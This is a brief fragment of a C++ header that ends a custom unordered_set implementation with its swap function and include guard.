| } 207 | 208 | template 209 | void unordered_set::swap(unordered_set& other) { 210 | size_t tsize = other.m_size; 211 | other.m_size = m_size, m_size = tsize; 212 | buffer_swap(&m_buckets, &other.m_buckets); 213 | } 214 | } 215 | #endif 216 | --------------------------------------------------------------------------------